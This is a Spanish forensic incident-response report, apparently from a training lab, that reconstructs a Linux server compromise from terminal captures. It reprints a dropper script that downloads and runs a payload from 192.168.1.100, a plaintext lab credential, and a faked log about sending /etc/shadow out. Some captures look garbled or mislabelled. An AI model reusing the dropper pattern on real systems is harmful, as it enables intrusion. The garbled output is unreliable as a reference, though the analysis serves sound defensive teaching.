/var/log/auth.log:Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to group 'lxd'
/var/log/auth.log:Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to shadow group 'adm'
/var/log/auth.log:Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to shadow group 'cdrom'
/var/log/auth.log:Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to shadow group 'sudo'
/var/log/auth.log:Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to shadow group 'dip'
/var/log/auth.log:Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to shadow group 'plugdev'
/var/log/auth.log:Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to shadow group 'lxd'
/var/log/auth.log:Jun 21 19:04:20 4geeks-server useradd[1318]: new user: name=lxd, UID=998, GID=100, home=/var/snap/lxd/common/lxd, shell=/bin/false, from=none
/var/log/auth.log:Jun 21 19:46:45 4geeks-server useradd[3207]: new user: name=ftp, UID=114, GID=119, home=/srv/ftp, shell=/usr/sbin/nologin, from=none
/var/log/auth.log:Jun 21 19:54:52 4geeks-server useradd[4646]: new user: name=reports, UID=1001, GID=1001, home=/home/reports, shell=/bin/bash, from=/dev/tty1
/var/log/auth.log:Jun 23 13:18:32 4geeks-server useradd[2868]: new user: name=wazuh, UID=115, GID=120, home=/var/ossec, shell=/sbin/nologin, from=/dev/pts/0
/var/log/auth.log:Jun 23 15:02:47 4geeks-server useradd[1899]: new group: name=hacker, GID=1002
/var/log/auth.log:Jun 23 15:02:47 4geeks-server useradd[1899]: new user: name=hacker, UID=1002, GID=1002, home=/home/hacker, shell=/bin/bash, from=/dev/tty1
root@4geeks-server:/home/sysadmin# sudo journalctl _COMM=useradd 2>/dev/null
-- Logs begin at Sat 2025-06-21 19:04:00 UTC, end at Wed 2026-06-17 02:48:04 UTC. --
Jun 21 19:04:11 4geeks-server useradd[784]: new group: name=sysadmin, UID=1000
Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to group 'adm'
Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to group 'cdrom'
Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to group 'sudo'
Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to group 'dip'
Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to group 'plugdev'
Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to group 'lxd'
Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to shadow group 'adm'
Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to shadow group 'cdrom'
Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to shadow group 'sudo'
Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to shadow group 'dip'
Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to shadow group 'plugdev'
Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to shadow group 'lxd'
Jun 21 19:04:20 4geeks-server useradd[1318]: new user: name=lxd, UID=998, GID=100, home=/var/snap/lxd/common/lxd, shell=/bin/false, from=none
Jun 21 19:46:45 4geeks-server useradd[3207]: new user: name=ftp, UID=114, GID=119, home=/srv/ftp, shell=/usr/sbin/nologin, from=none
Jun 21 19:54:52 4geeks-server useradd[4646]: new user: name=reports, UID=1001, GID=1001, home=/home/reports, shell=/bin/bash, from=/dev/tty1
-- Reboot --
Jun 23 13:18:32 4geeks-server useradd[2868]: new user: name=wazuh, UID=115, GID=120, home=/var/ossec, shell=/sbin/nologin, from=/dev/pts/0
-- Reboot --
Jun 23 15:02:47 4geeks-server useradd[1899]: new group: name=hacker, GID=1002
Jun 23 15:02:47 4geeks-server useradd[1899]: new user: name=hacker, UID=1002, GID=1002, home=/home/hacker, shell=/bin/bash, from=/dev/tty1
root@4geeks-server:/home/sysadmin#
```

Figura 27. Cronología exacta de cada cuenta creada en el sistema desde su aprovisionamiento: sysadmin y lxd (21 jun 19:04), ftp (21 jun 19:46), reports desde /dev/tty1 (21 jun 19:54:52), wazuh desde /dev/pts/0 (23 jun 13:18:32), y finalmente el grupo y la cuenta "hacker" desde /dev/tty1 (23 jun 15:02:47). journalctl muestra además marcadores "-- Reboot --" entre estos eventos, confirmando que el sistema se reinició entre la creación de "reports" y la instalación de Wazuh, y nuevamente antes de la creación de "hacker" — consistente con los cuatro reinicios identificados en kern.log.1 (Sección 3). El origen "/dev/tty1" tanto para "reports" como para "hacker" es el dato más relevante de esta captura: ambas cuentas se crearon desde la consola local de la máquina virtual, no desde una sesión de red.

El origen tty1 descarta la explotación remota de una aplicación pública (T1190) como vehículo de creación de cuentas, y refuerza la hipótesis de que el atacante (o la víctima de ingeniería social actuando bajo engaño) tenía acceso directo a la consola de la máquina virtual, consistente con un entorno de laboratorio o con acceso físico/de hipervisor por parte de alguien con credenciales legítimas de "reports".

4.14 Cadena del dropper: contenido de install.sh

```
root@4geeks-server:~# sudo cat /home/reports/install.sh
```

```

root@4geeks-server:/home/sysadmin# cat /home/reports/install.sh
#!/bin/bash

echo "[*] Preparing enviroment ..."
sleep 1
mkdir -p /tmp/.temp
echo "[*] Downloading dependencies ..."
sleep 2
curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
chmod +x /tmp/.temp/payload
/tmp/.temp/payload &
echo "[*] Installation complete."
root@4geeks-server:/home/sysadmin#

```

Figura 28. El dropper de primera etapa: prepara un directorio oculto (/tmp/.temp), descarga un binario compilado (payload) desde el mismo host de C2 (192.168.1.100) mediante curl, le asigna permisos de ejecución, y lo ejecuta en segundo plano. Todas las acciones a nivel root (creación de "hacker", siembra del cron, modificación de www-data) fueron realizadas por este binario de segunda etapa, no por el propio install.sh.

4.15 Credenciales en texto plano como facilitador del acceso inicial

```

root@4geeks-server:~# sudo ls -la /opt/.archive/
root@4geeks-server:~# sudo cat /opt/.archive/credentials.txt

```

```

root@4geeks-server:/home/sysadmin# sudo ls -la /opt/.archive/
total 12
drwxr-xr-x 2 root root 4096 Jun 23  2025 .
drwxr-xr-x 4 root root 4096 Jun 23  2025 ..
-rw-r--r-- 1 root root   19 Jun 23  2025 credentials.txt
root@4geeks-server:/home/sysadmin# sudo cat /opt/.archive/credentials.txt
reports:reports123
root@4geeks-server:/home/sysadmin#

```

Figura 29. El archivo, propiedad de root y fechado el día del compromiso, contiene literalmente "reports:reports123" en texto plano. Esta es la pieza que explica cómo el atacante (o quien actuó bajo el engaño de ingeniería social) obtuvo acceso operativo a la cuenta "reports".

4.16 Ingeniería social y log de cobertura fabricado

```

root@4geeks-server:~# sudo cat /home/reports/chat.txt
root@4geeks-server:~# sudo cat /home/reports/.note
root@4geeks-server:~# sudo cat /home/reports/backup.log

```

```

root@4geeks-server:/home/sysadmin# sudo cat /home/reports/chat.txt
From: unknown@externalmail.com
—
Hey, run that script I sent you earlier.
Don't worry, it's clean. Let me know once the backup finishes.
root@4geeks-server:/home/sysadmin# sudo cat /home/reports/.note
Reminder: new credentials for reports stored temporarily in /opt/.archive
root@4geeks-server:/home/sysadmin# sudo cat /home/reports/backup.log
[INFO] Starting backup process ...
[INFO] Compressing /etc/shadow ...
[INFO] Uploading to 102.168.1.100:8080
[OK] Backup completed
root@4geeks-server:/home/sysadmin#

```

Figura 30. chat.txt contiene un mensaje de "unknown@externalmail.com" instando a ejecutar un script previamente enviado, asegurando que "es limpio" — pretexto clásico de ingeniería social (phishing). .note (propiedad de root)

hace referencia a "nuevas credenciales para reports almacenadas temporalmente en /opt/.archive", explicando el origen del archivo de credenciales. backup.log es un log de cobertura escrito manualmente con nano, que describe una compresión de /etc/shadow y una subida a "102.168.1.100:8080" — un typo respecto a la IP real del C2 (192.168.1.100) que demuestra que este log fue tecleado a mano, no generado por un script real, y por tanto no constituye evidencia de una exfiltración real de /etc/shadow (verificado además en la Sección 4.18).

4.17 Verificación de rutas de escalada de privilegios vía sudo y grupos

```
root@4geeks-server:~# id reports
root@4geeks-server:~# groups reports
root@4geeks-server:~# sudo cat /etc/sudoers
root@4geeks-server:~# sudo ls -la /etc/sudoers.d/
```

```
root@4geeks-server:/home/sysadmin# id reports
uid=1001(reports) gid=1001(reports) groups=1001(reports)
root@4geeks-server:/home/sysadmin# groups reports
reports : reports
root@4geeks-server:/home/sysadmin# sudo cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults      env_reset
Defaults      mail_badpass
Defaults      secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin   ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#include_dir /etc/sudoers.d
root@4geeks-server:/home/sysadmin# sudo ls -la /etc/sudoers.d/
total 12
drwxr-xr-x  2 root root 4096 Jun 21  2025 .
drwxr-xr-x 100 root root 4096 Jun 23  2025 ..
-r--r----- 1 root root 958 Feb  3  2020 README
root@4geeks-server:/home/sysadmin# sudo cat /etc/sudoers.d/* 2>/dev/null
```

Figura 31. "reports" solo pertenece a su propio grupo (sin lxd, docker, disk u otros grupos con ruta de escalada conocida). /etc/sudoers contiene únicamente las reglas estándar de Ubuntu (root ALL=(ALL:ALL) ALL, %admin, %sudo). /etc/sudoers.d/ solo contiene el README placeholder de fábrica (958 bytes, feb 2020).

```

root@4geeks-server:/home/sysadmin# sudo cat /etc/sudoers.d/* 2>/dev/null
#
# As of Debian version 1.7.2p1-1, the default /etc/sudoers file created on
# installation of the package now includes the directive:
#
#     #includedir /etc/sudoers.d
#
# This will cause sudo to read and parse any files in the /etc/sudoers.d
# directory that do not end in '~' or contain a '.' character.
#
# Note that there must be at least one file in the sudoers.d directory (this
# one will do), and all files in this directory should be mode 0440.
#
# Note also, that because sudoers contents can vary widely, no attempt is
# made to add this directive to existing sudoers files on upgrade. Feel free
# to add the above directive to the end of your /etc/sudoers file to enable
# this functionality for existing installations if you wish!
#
# Finally, please note that using the visudo command is the recommended way
# to update sudoers content, since it protects against many failure modes.
# See the man page for visudo for more information.
#
root@4geeks-server:/home/sysadmin#

```

Figura 32. Contenido del README de /etc/sudoers.d/: es el texto estándar de Debian/Ubuntu que documenta la directiva #includedir, sin ninguna regla personalizada. Esto cierra de forma definitiva la hipótesis de una regla sudoers a medida para "reports" o "hacker".

Con sudo, grupos privilegiados y sudoers descartados como ruta de escalada, y sin binarios SUID adicionales (Sección 4.8), la única explicación restante para que un proceso iniciado por la cuenta sin privilegios "reports" haya podido crear cuentas, escribir en /etc/cron.d/ y modificar /etc/passwd es que el binario "payload" descargado por install.sh contuviera un exploit de escalada de privilegios local, casi con certeza aprovechando una vulnerabilidad del kernel Ubuntu 20.04 5.4.0-216, que se encontraba fuera de soporte estándar (EOL) y sin parches ESM activos al momento del incidente.

4.18 Verificación de exfiltración adicional y estabilidad del kernel

Para resolver si la mención a `/etc/shadow` en `backup.log` correspondía a una exfiltración real, y para buscar evidencia directa de un exploit de kernel, se ejecutaron las siguientes verificaciones. Esta evidencia se recolectó como salida de texto directa (no como captura de pantalla) durante la sesión de terminal.

```
root@4geeks-server:~# sudo find / -xdev \( -name "*.tgz" -o -name "*.tar.gz" \) -newer
/etc/cron.d -type f
(sin resultados)

root@4geeks-server:~# sudo stat /etc/shadow
Modify: 2025-06-23 15:03:53.012031526 +0000
Change: 2025-06-23 15:03:53.044031527 +0000
```

La búsqueda global de archivos `.tgz`/`.tar.gz` en todo el sistema de archivos no devolvió ningún resultado adicional al ya conocido `/tmp/secrets.tgz`. El `mtime` de `/etc/shadow` (15:03:53) es apenas 66 segundos posterior a la creación de la cuenta "hacker" (15:02:47) — consistente con el establecimiento de la contraseña de esa cuenta nueva, no con una exfiltración. Se concluye que la referencia a "Compressing `/etc/shadow`" en `backup.log` fue, como sugiere el tipo de IP, una historia de cobertura fabricada manualmente y no un evento real.

```
root@4geeks-server:~# sudo grep -i "Jun 23" /var/log/kern.log*
(se identifican 4 arranques completos del kernel el 23 de junio de 2025: 12:55:30,
14:50:28, 15:23:17 y 16:40:13)

root@4geeks-server:~# dmesg -T 2>/dev/null | grep -iE "segfault|oops|panic"
(sin coincidencias relevantes — solo carga rutinaria del módulo ramoops del arranque
actual)
```

Los cuatro reinicios identificados en `kern.log.1` ya se documentaron en la Sección 3 (Cronología). Ninguno de los registros de arranque revisados, ni el buffer de `dmesg` disponible al momento de la investigación (limitado al arranque actual del sistema, no a junio de 2025), mostró mensajes de `panic`, `oops` o `segfault`. Esto no descarta un exploit de kernel — muchos exploits de escalada de privilegios no generan mensajes de pánico — pero sí sugiere que los reinicios fueron controlados (`reboot/shutdown -r`) en lugar de caídas forzadas por inestabilidad.

4.19 Barrido exhaustivo de rootkit y mecanismos de persistencia adicionales

Con la cadena principal de ataque ya reconstruida, se ejecutó un barrido sistemático de las superficies de persistencia conocidas en Linux para confirmar que no existían mecanismos adicionales no detectados.

4.19.1 Logs de servicios expuestos y archivos web

```
root@4geeks-server:~# sudo tail -n 200 /var/log/apache2/access.log
/var/log/apache2/access.log.1
root@4geeks-server:~# sudo tail -n 200 /var/log/apache2/error.log
root@4geeks-server:~# sudo cat /var/log/vsftpd.log
root@4geeks-server:~# sudo find /var/www -type f -newer /etc/cron.d
```

```
root@4geeks-server/home/sysadmin# sudo tail -n 200 /var/log/apache2/access.log /var/log/apache2/access.log.1 2>/dev/null
== /var/log/apache2/access.log ==
root@4geeks-server/home/sysadmin# sudo tail -n 200 /var/log/apache2/error.log 2>/dev/null
[Wed Jun 17 01:41:51.359030 2026] [mpm_event:notice] [pid 832:tid 139947509853248] AH00680: Apache/2.4.41 (Ubuntu) configured -- resuming normal operations
[Wed Jun 17 01:41:51.359030 2026] [core:notice] [pid 832:tid 139947509853248] AH00094: Command line: '/usr/sbin/apache2'
[Wed Jun 17 01:58:45.263117 2026] [mpm_event:notice] [pid 820:tid 139948140429902] AH00680: Apache/2.4.41 (Ubuntu) configured -- resuming normal operations
[Wed Jun 17 01:58:45.266235 2026] [core:notice] [pid 820:tid 139948140429902] AH00094: Command line: '/usr/sbin/apache2'
root@4geeks-server/home/sysadmin# sudo cat /var/log/vsftpd.log 2>/dev/null
root@4geeks-server/home/sysadmin# sudo find /var/www -type f -newer /etc/cron.d 2>/dev/null
```


Figura 33. El log de acceso de Apache no contiene entradas; error.log solo muestra reinicios benignos del servicio. vsftpd.log está vacío. Ningún archivo en /var/www fue modificado después de la siembra del cron malicioso — sin evidencia de un webshell o vector web paralelo.

4.19.2 Capacidades de archivos (alternativa a SUID)

```
root@4geeks-server:~# sudo getcap -r / 2>/dev/null
```

```
root@geekys-server:/home/sysadmin# sudo getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/snap/core20/1828/usr/bin/ping = cap_net_raw+ep
root@geekys-server:/home/sysadmin#
```

Figura 34. Solo capacidades estándar y esperadas (ping, traceroute6, el helper de gstreamer) — sin binarios con capacidades elevadas añadidas como mecanismo de escalada encubierta.

4.19.3 Módulos de kernel cargados y mecanismos LD PRELOAD

```
root@4geeks-server:~# lsmod
```

```
root@4geeks-server:~# cat /etc/ld.so.preload
```

```

root@kali:~# cat /usr/bin/sudoedit
Module      Size Used By
tcp_diag    16384 0
udp_diag    16384 0
inet_diag   24576 2 tcp_diag,udp_diag
ds_mntrpath 32768 0
ccsl_sh_eac 16384 0
ccsl_sh_eac 16384 0
ccsl_sh_alua 20480 0
binfmt_misc 24576 1
snd_intel8x0 43856 0
snd_ac97_codec 331872 1 snd_intel8x0
ac97_bus    16384 1 snd_ac97_codec
joydev      24576 0
snd_pcm     320512 2 snd_intel8x0,snd_ac97_codec
snd_timer   40960 1 snd_pcm
snd          90112 4 snd_intel8x0,snd_timer,snd_ac97_codec,snd_pcm
lpnet_loads 16384 0
vboxguest3 352256 0
soundcore   16384 1 snd
serio_raw   20480 0
snd_hda     16384 0
nf_log_ipv6 16384 0
ipnet_REJECT 16384 1
nf_reject_ipv6 20480 1 ipnet_REJECT
xt_al       16384 22
ipnet_rt     20480 3
nf_log_ipv4 16384 5
nf_log_common 16384 2 nf_log_ipv4,nf_log_ipv6
ipnet_REJECT 16384 1
nf_reject_ipv4 16384 1 ipnet_REJECT
xt_LOG       20480 18
xt_limit     16384 13
xt_addrtype 16384 4
xt_tcpudp    20480 38
xt_conntrack 16384 16
nf_conntrack 320512 1 xt_conntrack
nf_defrag_ipv6 24576 1 nf_conntrack
nf_defrag_ipv4 16384 1 nf_conntrack
ipsettable_Filter 16384 1
ipset_tables 32768 53 ipsettable_Filter
rawoops      16672 0
ipsettable_Filter 16384 1
reed_solomon 24576 1 rawoops
af_ipnet     16384 0
sch_fq_codel 20480 2
bpfilter     32768 0
mvr          16384 0
ip_tables    32768 0 ipsettable_Filter
xt_tables     40960 13 ipsettable_Filter,xt_conntrack,ipsettable_Filter,xt_LOG,xt_tcpudp,xt_addrtype,ipnet_rt,ipnet_tables,ipnet_REJECT,ip_tables,xt_limit,xt_al,ipnet_REJECT
btrfs        126016 0
xtf_conntrack 16384 1 btrfs

```

Figura 35. Listado completo de módulos de kernel cargados (parte 1): netfilter/iptables, almacenamiento SCSI/RAID, audio, vboxguest. Todos los módulos son estándar de Ubuntu/VirtualBox, ninguno con nombre sospechoso ni sin referencias de uso coherentes con un rootkit de kernel.

```

raid10          61440 0
raid456         155648 0
async_raid6_recov 24576 1 raid456
async_memcpy    20480 2 raid456,async_raid6_recov
async_pq        24576 2 raid456,async_raid6_recov
async_xor       20480 3 async_pq,raid456,async_raid6_recov
async_tx        20480 5 async_pq,async_memcpy,async_xor,raid456,async_raid6_recov
xor             24576 2 async_xor,btrfs
raid6_pq        114688 4 async_pq,btrfs,raid456,async_raid6_recov
libcrc32c       16384 3 nf_conntrack,btrfs,raid456
raid1           45056 0
raid0           24576 0
multipath       20480 0
linear          20480 0
crct10dif_pclmul 16384 1
crc32_pclmul    16384 0
ghash_clmulni_intel 16384 0
aesni_intel     372736 0
crypto_simd     16384 1 aesni_intel
cryptd          24576 2 crypto_simd,ghash_clmulni_intel
glue_helper     16384 1 aesni_intel
ahci            40960 1
psmouse        155648 0
libahci         36864 1 ahci
i2c_piix4       28672 0
e1000           147456 0
vmwgfx          299008 1
ttm             106496 1 vmwgfx
drm_kms_helper  184320 1 vmwgfx
syscopyarea     16384 1 drm_kms_helper
sysfillrect     16384 1 drm_kms_helper
sysimgblt       16384 1 drm_kms_helper
fb_sys_fops     16384 1 drm_kms_helper
drm             495616 4 vmwgfx,drm_kms_helper,ttm
pata_acpi       16384 0
video           57344 0
hid_generic     16384 0
usbhid          57344 0
hid             131072 2 usbhid,hid_generic
root@4geeks-server:/home/sysadmin# cat /etc/ld.so.preload 2>/dev/null
root@4geeks-server:/home/sysadmin#

```

Figura 36. Listado completo de módulos de kernel cargados (parte 2): RAID, criptografía acelerada por hardware, controladores gráficos VirtualBox (vmwgfx) y de entrada. /etc/ld.so.preload está vacío — sin mecanismo de inyección de librerías vía LD_PRELOAD.

4.19.4 Integridad de paquetes del sistema

```
root@4geeks-server:~# sudo dpkg -V 2>/dev/null | grep -v "^??"
```

```

root@4geeks-server:/home/sysadmin# sudo dpkg -V 2>/dev/null | grep -v "^??"
root@4geeks-server:/home/sysadmin#

```

Figura 37. Sin salida: ningún archivo de un paquete instalado fue modificado respecto a su checksum original. Descarta la troyanización de binarios del sistema.

4.19.5 Timers de systemd

```
root@4geeks-server:~# systemctl list-timers --all
```

```

root@4geeks-server:/home/sysadmin# systemctl list-timers --all

```

NEXT	LEFT	LAST	PASSED	UNIT	ACTIVATES
Wed 2026-06-17 04:13:26 UTC	2min 27s left	n/a	n/a	systemd-tmpfiles-clean.timer	systemd-tmpfiles-clean.service
Wed 2026-06-17 04:27:57 UTC	16min left	n/a	n/a	ua-timer.timer	ua-timer.service
Wed 2026-06-17 06:12:12 UTC	2h 1min left	Wed 2026-06-17 01:41:50 UTC	2h 29min ago	apt-daily-upgrade.timer	apt-daily-upgrade.service
Wed 2026-06-17 09:04:16 UTC	4h 53min left	Wed 2026-06-17 01:41:50 UTC	2h 29min ago	fwupd-refresh.timer	fwupd-refresh.service
Wed 2026-06-17 11:38:24 UTC	7h left	Wed 2026-06-17 01:41:50 UTC	2h 29min ago	motd-news.timer	motd-news.service
Wed 2026-06-17 16:25:54 UTC	12h left	Wed 2026-06-17 01:41:50 UTC	2h 29min ago	apt-daily.timer	apt-daily.service
Thu 2026-06-18 00:00:00 UTC	19h left	Wed 2026-06-17 01:41:50 UTC	2h 29min ago	logrotate.timer	logrotate.service
Thu 2026-06-18 00:00:00 UTC	19h left	Wed 2026-06-17 01:41:50 UTC	2h 29min ago	man-db.timer	man-db.service
Sun 2026-06-21 03:18:07 UTC	3 days left	Tue 2026-06-18 02:04:01 UTC	1 day 2h ago	a2scrub_all.timer	a2scrub_all.service
Mon 2026-06-22 00:00:00 UTC	4 days left	Tue 2026-06-16 02:04:01 UTC	1 day 2h ago	fstrim.timer	fstrim.service
n/a	n/a	n/a	n/a	snappy-snap-repair.timer	snappy-snap-repair.service

11 timers listed.

Figura 38. Los 11 timers listados corresponden íntegramente a tareas estándar de Ubuntu (apt, logrotate, man-db, fstirm, snappy, etc.) — ningún timer adicional fue inyectado como mecanismo de persistencia.

4.19.6 Tareas "at" y directorios de scripts de sistema

```

root@4geeks-server:~# atq
root@4geeks-server:~# sudo ls -la /var/spool/cron/atjobs/
root@4geeks-server:~# sudo ls -la /etc/profile.d/ /etc/update-motd.d/

```

```

root@4geeks-server:/home/sysadmin# atq
root@4geeks-server:/home/sysadmin# sudo ls -la /var/spool/cron/atjobs/ 2>/dev/null
total 12
drwxrwx--T 2 daemon daemon 4096 Mar 14 2023 .
drwxr-xr-x 5 root root 4096 Mar 14 2023 ..
-rw----- 1 daemon daemon 2 Mar 14 2023 .SEQ
root@4geeks-server:/home/sysadmin# sudo ls -la /etc/profile.d/ /etc/update-motd.d/
/etc/profile.d/:
total 44
drwxr-xr-x 2 root root 4096 Jun 21 2025 .
drwxr-xr-x 100 root root 4096 Jun 23 2025 ..
-rw-r--r-- 1 root root 96 Dec 5 2019 01-locale-fix.sh
-rw-r--r-- 1 root root 835 Dec 1 2022 apps-bin-path.sh
-rw-r--r-- 1 root root 729 Feb 2 2020 bash_completion.sh
-rw-r--r-- 1 root root 1003 Aug 13 2019 cedilla-portuguese.sh
-rw-r--r-- 1 root root 1107 Nov 3 2019 gawk.csh
-rw-r--r-- 1 root root 757 Nov 3 2019 gawk.sh
-rw-r--r-- 1 root root 1557 Feb 17 2020 Z97-byobu.sh
-rwxr-xr-x 1 root root 873 Dec 8 2022 Z99-cloudinit-warnings.sh
-rwxr-xr-x 1 root root 3417 Dec 8 2022 Z99-cloud-locale-test.sh

/etc/update-motd.d/:
total 64
drwxr-xr-x 2 root root 4096 Mar 14 2023 .
drwxr-xr-x 100 root root 4096 Jun 23 2025 ..
-rwxr-xr-x 1 root root 1220 Dec 5 2019 00-header
-rwxr-xr-x 1 root root 1157 Dec 5 2019 10-help-text
lrwxrwxrwx 1 root root 46 Mar 14 2023 50-landscape-sysinfo -> /usr/share/landscape/landscape-sysinfo.wrapper
-rwxr-xr-x 1 root root 5023 Aug 17 2020 50-motd-news
-rwxr-xr-x 1 root root 84 Jul 3 2022 85-fwupd
-rwxr-xr-x 1 root root 106 Feb 28 2023 88-esm-announce
-rwxr-xr-x 1 root root 218 Jan 20 2023 90-updates-available
-rwxr-xr-x 1 root root 263 Feb 28 2023 91-contract-ua-esm-status
-rwxr-xr-x 1 root root 374 Nov 20 2022 91-release-upgrade
-rwxr-xr-x 1 root root 165 Apr 25 2022 92-unattended-upgrades
-rwxr-xr-x 1 root root 129 Jan 20 2023 95-hwe-eol
-rwxr-xr-x 1 root root 111 Nov 2 2021 97-overlayroot
-rwxr-xr-x 1 root root 142 Jan 20 2023 98-fsck-at-reboot
-rwxr-xr-x 1 root root 144 Jan 20 2023 98-reboot-required
root@4geeks-server:/home/sysadmin#

```

Figura 39. La cola de "at" está vacía y /var/spool/cron/atjobs/ solo contiene el archivo .SEQ por defecto de la instalación original (2023). Los archivos individuales dentro de /etc/profile.d/ y /etc/update-motd.d/ corresponden todos a fechas de 2019-2023, aunque el directorio /etc/update-motd.d/ en sí tiene mtime del 23 de junio de 2025 — posiblemente por una operación de apt/dpkg coincidente con esa fecha (instalación del agente Wazuh); no se halló contenido malicioso dentro de él, por lo que se documenta como observación menor sin evidencia de explotación.

4.19.7 Archivos de inicio de shell de las cuentas comprometidas

```

root@4geeks-server:~# sudo cat /home/hacker/.bashrc /home/hacker/.profile

```

```

root@4geeks-server:/home/sysadmin# sudo cat /home/hacker/.bashrc /home/hacker/.profile
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
    *) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color|*-256color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
        # We have color support; assume it's compliant with Ecma-48
        # (ISO/IEC-6429). (Lack of such support is extremely rare, and such
        # a case would tend to support setf rather than setaf.)

```

Figura 40. .bashrc de "hacker" (parte 1): contenido idéntico a la plantilla estándar de /etc/skel, sin alias ni comandos añadidos.


```

    color_prompt=yes
else
    color_prompt=
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1='\[\033[01;32m\]${debian_chroot:+($debian_chroot)}\u@\h: \w\[\033[00m\] $PS1'
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors || eval "$(dircolors -B ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    alias dir='dir --color=auto'
    alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'

# some more ls aliases
alias ll='ls -al'
alias la='ls -A'
alias l='ls -CF'

# Add an "alert" alias for long running commands. Use like so:
# sleep 10; alert
alias alert='notify-send --urgency=low -i "${FILE}" "echo terminal. If echo error?" "${history|tail -n1} used as "${FILE}"\n\n${PWD}:\n\n${alert}/${FILE}"'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

```

Figura 41. .bashrc de "hacker" (parte 2, continuación): prompt y alias de color estándar, sin modificaciones.


```

fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
    if [ -f /usr/share/bash-completion/bash_completion ]; then
        . /usr/share/bash-completion/bash_completion
    elif [ -f /etc/bash_completion ]; then
        . /etc/bash_completion
    fi
fi

# ~/.profile: executed by the command interpreter for login shells.
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
        . "$HOME/.bashrc"
    fi
fi

# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
    PATH="$HOME/bin:$PATH"
fi

# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/.local/bin" ] ; then
    PATH="$HOME/.local/bin:$PATH"
fi
root@4geeks-server:/home/sysadmin# sudo cat /home/reports/.bashrc /home/reports/.profile
